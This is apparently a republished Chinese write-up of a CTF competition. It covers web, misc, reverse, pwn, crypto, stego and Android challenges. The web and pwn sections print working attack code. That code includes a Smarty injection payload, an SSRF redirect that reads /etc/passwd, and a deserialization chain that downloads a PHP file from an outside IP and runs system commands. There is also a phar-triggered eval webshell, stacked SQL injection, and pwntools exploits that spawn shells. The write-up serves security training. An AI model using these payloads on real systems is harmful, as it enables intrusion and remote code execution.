前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

作者头像
Timeline Sec
发布2021-03-04 14:52:59
1.7K0
发布2021-03-04 14:52:59
举报
文章被收录于专栏:Timeline SecTimeline Sec

第一届四叶草网络安全学院牛年 CTF大赛

Web

★GET

考点

  • smarty模板注入

思路

根据提示输入GET参数得到源码.发现为smarty模板注入

payload: ?name={if passthru ('nl fl*')}{/if}

★Website

考点

  • ssrf中使用302跳转进行bypass

思路

一开始尝试dict、file、gopher等协议,发现都被禁用了

但是可以访问其他主机,就想到用302跳转去bypass

在vps上开个web服务,内容如下

代码语言:javascript
复制
<?php header('Location:file:///etc/passwd');

再用题目访问vps,可以看到是成功访问的

接着去读取apache的配置文件

代码语言:javascript
复制
<?php header('Location:file:///etc/httpd/conf/httpd.conf');
代码语言:javascript
复制
在最后面可以看到有两个web服务,监听了80和8080

分别读取源码

80: web1/index.php

代码语言:javascript
复制
<?php
error_reporting(0);
function check_302($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect
    curl_exec($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);
    return $info['url'];
}

if (isset($_GET['url'])) {
    $url = $_GET['url'];
    if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) {
        exit("<script alert('Cloversec WAF!')");
    }

    if (!preg_match('/^(http|https):\/\/[_a-zA-Z0-9-]+(.[_a-zA-Z0-9-]+)*/i', $url)) {
        exit("<script>alert('Cloversec WAF!')</script>");
    }

    $url = check_302($url);
    echo $url;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $result = curl_exec($ch);
    curl_close($ch);

    echo "<base href="&quot; . $url . &quot;/">" . $result . "";
} else {
    echo "Hello";
}

?>

8080: web2/index.php

代码语言:javascript
复制
<?php
class copy_file{
    public $path = 'upload/';
    public $file;
    public $url;
    function __destruct(){
        if(strpos($this - url,'http://127.0.0.1') === 0){
            file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));
            echo $this -> path.$this -> file." update successed!)";
        }else{
            echo "Hello CTFer";
        }
    }
}

if(isset($_GET['data'])){
    $data = $_GET['data'];
    unserialize($data);
}else{
    echo "Welcome to CloverSec WebSite";
}
?>

然后就是反序列化了,在vps上写好代码

代码语言:javascript
复制
<?php system("ls /");system("ls ../");system("cat ../flag_WebSite_SsRf.txt");
代码语言:javascript
复制
用下面的序列化
代码语言:javascript
复制
<?php
class copy_file{
    public $path='upload/';
    public $file='1.php';
    public $url='http://127.0.0.1@81.68.218.54:20003/1.txt';

}
$a = new copy_file();
echo serialize($a);

按照如下方式传参,上传代码

代码语言:javascript
复制
http://example.com@127.0.0.1:8080/?data=O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:5:"1.php";s:3:"url";s:41:"http://127.0.0.1@81.68.218.54:20003/1.txt";}
代码语言:javascript
复制

再去访问即可看到结果

http://127.0.0.1:8080/upload/1.php

★file manager

考点

  • phar伪协议

思路

题目有四个功能,分别是文件上传,创建文件,删除文件和列举目录

经过一番尝试,发现文件上传只能上传图片,但是看到删除文件的功能,就想到unlink函数可以触发phar,并且code.html给了类

那就生成phar改一下名字,再用phar伪协议触发即可

由于文件上传的代码不允许php存在上传文件中,就用<?=绕过即可

代码语言:javascript
复制
<?php
class game
{
    public $file_name="shell.php";
    public $content = "<?=eval($_POST['cmd']);?>";

}
$a = new game();

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');


$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

上传后在删除文件处,删除框内填phar://./sandbox/a.png即可触发反序列化

★StAck3d 1nj3c

原题 [SUCTF 2019]EasySQL

代码语言:javascript
复制
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
代码语言:javascript
复制

★问卷调查

填完给flag

Misc

★Here are three packages!

第一个压缩包:根据提示百度后,发现与月份有关,密码应该为数字,对压缩包进行爆破,得到密码:956931011

第二个压缩包:对字频进行统计,得到key:key{bgfi9JaFHhosw}

第三个压缩包:在tip3中存在零宽度字符隐写,解密得到密码:key->Zero-Width

white.txt是snow隐写,得到flag:flag{e3e1cd2fa790e0b35795ef3b2ab3992b}

牛气冲天

伪加密cattle.jpg以及zip

steghide解,脑洞密码就是文件名

获得密码,awd@$..120LP

解压zip,获得png,改高度

★LSP们冲啊

经典crc碰撞

代码语言:javascript
复制
import datetime
import binascii
import string
 
def crack(crc_in):
    crcs = set([crc_in])
    
    r = string.printable
    for a in r:
        for b in r:
            for c in r:
                txt = a+b+c
                crc = binascii.crc32(txt)
                if (crc & 0xFFFFFFFF) in crcs:
                    return txt


print crack(0xd878a99d)
#0x07D3F356,0xd878a99d,0x4E25A843,0x6E16E99D,0x549248B9

获得密码:Zz!9(18Hb9e#>h8 解压后png进行lsb隐写即可

Reverse

★RE1

拖入ida,在字符串窗口看到 "upx"字样,于是首先对它进行upx 脱壳

代码语言:javascript
复制
upx -d re1

将得到的elf程序拖入ida

代码语言:javascript
复制
__int64 __fastcall h4vefun(__int64 input_str)
{
  __int64 v1; // rax
  char v3; // [rsp+1Fh] [rbp-61h] BYREF
  char v4[32]; // [rsp+20h] [rbp-60h] BYREF
  char v5[40]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v6; // [rsp+68h] [rbp-18h]


  v6 = __readfsqword(0x28u);
  std::allocator<char>::allocator(&v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v4, "hj4ppy new year", &v3);
  std::allocator<char>::~allocator(&v3);
  std::allocator<char>::allocator(&v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v5, "qaq", &v3);
  std::allocator<char>::~allocator(&v3);
  if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(
                          input_str,
                          "hj4ppynewyear2021") )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "ok.this is flag");
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_40115A);
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v5);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v4);
  return 0LL;
}

发现是c++程序,可以看到下面这一行关键代码,如果我们输入的字符串等于 "hj4ppynewyear2021",就成功了。它也是我们索要得到的flag

代码语言:javascript
复制
if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(
                          input_str,
                          "hj4ppynewyear2021") 

验证一下:

代码语言:javascript
复制
$ ./re1 
please input your flag
hj4ppynewyear2021
ok.this is flag

★RE2

这题是exe程序,拖入ida,查看main函数

代码语言:javascript
复制
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax


  dword_42537C = 123400 * strlen(a1234567890) + 31415926;
  v3 = sub_4113BB(std::cout, "plz input your key");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_411573);
  std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &dword_425380);
  if ( dword_425380 == dword_42537C )
    v4 = sub_4113BB(std::cout, "right");
  else
    v4 = sub_4113BB(std::cout, "wrong");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_411573);
  return 0;
}

关键代码 :

代码语言:javascript
复制
if ( dword_425380 == dword_42537C )
    v4 = sub_4113BB(std::cout, "right");

而dword_42537C在上面可以得到 是32649926

代码语言:javascript
复制
代码语言:javascript
复制
dword_42537C = 123400 * strlen(a1234567890) + 31415926;//a1234567890:"1234567890" 
代码语言:javascript
复制
所以 flag就是32649926

PWN

★PWN1

ida:

代码语言:javascript
复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v4; // [esp-20h] [ebp-20h]
  __uid_t v5; // [esp-10h] [ebp-10h]
  void *v6; // [esp-8h] [ebp-8h]


  v6 = malloc(0x200u);
  bzero(v6, 4u);
  read(0, v6, 0x1F4u);
  v5 = geteuid();
  setresuid(v5, v5, v5);
  printf("shell function = %p\n", shell);
  vuln((char *)v6, v4);               //存在栈溢出漏洞
  return 0;
}
--------------------------------------------------
char *__cdecl vuln(char *a1, const char *a2) 
{
  int v3; // [esp-48h] [ebp-48h]


  return strcpy((char *)&v3, a2);
代码语言:javascript
复制

思路:

直接栈溢出,返回地址覆盖成 后门地址即可。

exp:

代码语言:javascript
复制
代码语言:javascript
复制
from pwn import * 
context.log_level='debug' 
p=process('./pwn1') 
#p=remote("129.226.4.186",10000)
elf=ELF('./pwn1') 


main_addr=0x080485AB
#gdb.attach(p)
p.sendline("a"*(0x48+0x4)+p32(0x0804856D))
p.interactive()
代码语言:javascript
复制
★PWN2

ida:

代码语言:javascript
复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf[2]; // [rsp+0h] [rbp-10h] BYREF


  buf[1] = (void *)__readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("welcome to Xian: ");
  read(0, BUF, 0x30uLL);
  puts("Dou you know the hzwz?");
  scanf("%llu", buf);
  printf("Yes you know: ");
  read(0, buf[0], 8uLL);
  puts("Finish!");
  printf("Good bye %s!\n", BUF);
  return 0;
}

思路

这题开了canary保护,没有开NX保护。看第九行,我们向bss段的buf中输入0x30(这不刚好是shellcode 的长度吗,疯狂暗示。)

所以这题的就是往buf中写入一个shellcode,想办法去执行它。

怎么去执行呢?因为没有开pie保护,我们直接改printf_plt中值为buf的地址(shellcode所在的地方)即可,然后当执行到 printf("buybuy") 的时候 实际 就会跳转到 buf地址那里

exp:

代码语言:javascript
复制
from pwn import * 
context(arch='amd64', os='linux', log_level = 'DEBUG')
#p=process('./pwn2') 
p=remote("129.226.4.186",10001)
elf=ELF('./pwn2') 


shellcode=asm(shellcraft.sh())
print len(shellcode)


p.recvuntil("welcome to Xian: \n")
p.sendline(shellcode)

p.recvuntil("Dou you know the hzwz?\n")
pd=str(0x601028)
p.sendline(pd)

#gdb.attach(p)
p.recvuntil("Yes you know: ")
bss_buf=0x601080
pd=p64(bss_buf)
p.sendline(pd)


p.interactive()

★pwn3

ida:

代码语言:javascript
复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-30h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  _QWORD *v6; // [rsp+28h] [rbp-8h]


  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("happy new year!");
  printf("plz input something: ");
  read(0, buf, 0x10uLL);
  v6 = (_QWORD *)strtoll(buf, 0LL, 16);
  printf("\nsomething: %lld\n", *v6);
  printf("Show me your code: ");
  read(0, v4, 0x90uLL);//栈溢出漏洞
  return 0;
}

思路

程序中有一个 strtoll函数,我们输入字符串首先转成16进制存入v6中然后在13行又进行了格式化输出。

这里我们可以用来leak libc,进而得到 system_addr,binsh_addr,因为是64位程序。

我们还需要用ropper去找一下 pop_rdi_ret的gadgets。最后利用栈溢出漏洞去getshell。

代码语言:javascript
复制
代码语言:javascript
复制
ropper --file ./pwn3 --search "pop|ret" | grep rdi
代码语言:javascript
复制

exp:

代码语言:javascript
复制
from pwn import * 
context.log_level='debug' 
p=process('./pwn3') 
p=remote("129.226.4.186",10002)
elf=ELF('./pwn3') 
libc=elf.libc#ELF("/lib/x86_64-linux-gnu/libc.so.6 ")


p.recvuntil("plz input something: ")
pd="601018"
p.sendline(pd)
p.recvuntil("something: ")
puts_addr=int(p.recv(15),10)
libc_base = puts_addr -libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base +next(libc.search("/bin/sh"))


p.recvuntil("Show me your code: ")
pd="a"*0x30+p64(0xdeadbeef)+p64(0x400803)+p64(binsh_addr)+p64(system_addr)
p.sendline(pd)


p.interactive()

Crypto

★凯撒大帝三步套娃

代码语言:javascript
复制
base64 -> base32 -> hex -> 凯撒 -> md5

★抚琴的RSA

代码语言:javascript
复制
#coding=utf-8
import gmpy2


p = 28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
q = 15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
e=354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
n = p*q
c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
phi = (p -1) * (q - 1)
d= int(gmpy2.invert(e,phi))
m=pow(c,d,n)
print(m)

flag{42134526936705472951339882390913202211002951999415321980512196989}

代码语言:javascript
复制

★另类RSA

RSAtools一把梭

flag{3031}

★独家加密

和安卓2的加密算法一模一样

写个解密函数改改参数就行

代码语言:javascript
复制
#include <stdio.h>
#include <string.h>
int main() {
    char key[] = "2021.2.26";
    char a[] = "Q[VPLDRTwQBF^YJ";
    for (int i = 0; i < strlen(a); i++) {
        for (int j = strlen(key); j >=0; j--) {
            a[i] = (a[i] ^ key[j]);       
        }  
        printf("%c", a[i]);
    }
  return 0;
}

★hello cpy

代码语言:javascript
复制
from string import digits, ascii_letters, punctuation,whitespace 
space = digits + ascii_letters + punctuation + whitespace 
for i in range(11): 
    if ord('f') & 15 ^ i == 4 and ord('f') & 240 == 96 and ord('l') & 15 ^ i == 14 and ord('l') & 240 == 96: 
      rand = i 
      break 
flag = "" 
k = [4, 96, 14, 96, 3, 96, 5, 96, 9, 112, 4, 48, 7, 48, 3, 48, 0, 48, 0, 96, 6, 96, 6, 48, 1, 48, 6, 96, 11, 48, 1, 96, 3, 96, 3, 96, 4, 48, 7, 96, 2, 48, 0, 48, 1, 96, 11, 48, 11, 48, 2, 48, 0, 96, 2, 48, 3, 96, 10, 48, 0, 48, 4, 48, 7, 48, 0, 48, 6, 96, 1, 96, 3, 96, 15, 112] for i in range(len(k)//2): 
    for j in space: 
        if ord(j) & 15 ^ rand == k[2*i] and ord(j) & 240 == k[2*i+1]:                               
        flag += j 
        break 
print(flag)

隐写

★在屋子上的小姐姐

binwalk解图片,得到提示:八位数字,结合图片上日期的到flag:

flag{20200606}

移动安全

★android2

jeb反编译这个apk 定位到mainActivity

找到主要逻辑

容易推断出只要将字符串^TY_C^MIQVK][E解密即可

找到DeEnCode类中的encode方法

写出解密函数即可得到flag

代码语言:javascript
复制
#include <stdio.h>
#include <string.h>
int main() {
    char key[] = "2021.1.19";
    char a[] = "^TY_C^MIQVK][E";
    for (int i = 0; i < strlen(a); i++) {
        for (int j = strlen(key); j >=0; j--) {
            a[i] = (a[i] ^ key[j]);       
        }  
        printf("%c", a[i]);
    }
  return 0;
}

flag{fuqinsec}


我们欢迎每一个对技术充满热情的同学

如果你和我们一样,想做出点成绩

这里给你无限的空间,任你翱翔

进组方式,简历投递邮箱6ixg0d@timelinesec.com

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-02-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 考点
  • 思路
  • ★Website
    • 考点
      • 思路
      • ★file manager
        • 思路
        • ★StAck3d 1nj3c
        • ★问卷调查
        • ★牛气冲天
        • ★LSP们冲啊
          • ★RE1
            • ★RE2
            • ★pwn3
            • ★抚琴的RSA
            • ★另类RSA
            • ★独家加密
            • ★hello cpy
            • ★在屋子上的小姐姐
            • ★android2
            相关产品与服务
            文件存储
            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档